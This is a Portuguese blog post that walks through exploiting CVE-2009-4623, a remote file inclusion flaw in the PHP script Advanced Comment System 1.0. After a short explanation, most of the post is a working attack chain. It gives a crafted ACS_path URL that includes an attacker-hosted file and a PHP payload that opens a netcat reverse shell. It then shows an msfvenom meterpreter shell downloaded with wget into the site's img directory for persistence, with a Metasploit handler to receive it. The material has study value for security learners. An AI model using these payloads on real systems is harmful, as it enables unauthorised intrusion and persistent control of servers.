Advanced Comment System - v1.0 é um script PHP usado por desenvolvedores para criar uma área de comentário em um site. Em 2010 foi publicada a CVE-2009-4623 para a vulnerabilidade Remote File Inclusion.
CVE-2009-4623 - Remote File Inclusion
Vulnerabilidade permite executar códigos a partir de requisições GET usando o parametro ACS_path nos endpoints index.php e admin.php
Exploit-DB Publicação
O exploit 9623 foi publicado em 10-09-2009 com os detalhes para explorar a vulnerabilidade RFI
OWASP Definição
A vulnerabilidade Remote File Inclusion permite que um atacante faça a inclusão de um arquivo em um parametro da aplicação. Essa vulnerabilidade ocorre no mecanismo de "inclusão dinamica de arquivo" onde o input do usuário não é validado de forma adequada.
O script Advanced Comment System através do parametro ACS_path nos endpoints index.php e admin.php não faz a validação do input de um usuário, como consequência um arquivo remoto pode ser executado pela aplicação.
POC - Prova de Conceito
Localiza a área de comentário do site.
Localiza os endpoints index.php e admin.php e faz a validação se estão acessíveis.
|
index.php
|
|
admin.php |
Na máquina do atacante é executado um serviço web temporário com Python3
|
Serviço Web com Python3 |
Na aplicação faça o envio da requisição GET para o endpoint admin.php com o parametro ACS_path
http://TARGET/acs/admin.php?ACS_path=http://ATTACKER:9090/reverseshell.php?
|
Execução da Shell Reversa
No arquivo reverseshell.php o comando para executar a shell reversa é:
<?php system("/bin/nc 172.20.1.26 3535 -e /bin/bash"); ?>
| Shell Reversa
|
Persistência
O próximo passo depois de conseguir acesso através de uma shell-reversa é manter o acesso sem precisar executar novamente todo o ataque. Em um cenário onde, além da vulnerabilidade RFI, a aplicação também tenha listagem de diretório habilitada, é possível adicionar uma shell no servidor e, dessa forma, manter a persistência do acesso no ambiente.
Uma vez identificado a listagem de diretório habilitada no servidor, podemos criar uma nova shell com o msfvenom e adicionar no diretório ../acs/img/
msfvenom -p php/meterpreter_reverse_tcp LHOST=[IP LOCAL] IP=[PORTA] -f raw > shell.php
No diterório ../acs/img/ com WGET o donwload da shell pode ser feito.
wget http://172.20.1.26:9090/shell.php
No metasploit, usando o módulo Multi/Handler habilita a o listening para receber a conexão reversa.
Executa a shell.php a partir do diretório exposto.
Conexão estabelecida.
Todas as vezes em que for necessário acessar o servidor durante o ataque, a shell no diretório ../acs/img pode ser utilizada.
Github
No meu github disponibilizei um script em Python3 para envio da requisição GET e do payload apontando para o arquivo remoto com o código da shell reversa.
Referências:
[+] CVE-2009-4623: https://nvd.nist.gov/vuln/detail/CVE-2009-4623
[+] Exploit-DB-9623: https://www.exploit-db.com/exploits/9623
[+] OWASP-Remote File Inclusion: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion
|
Comentários
Postar um comentário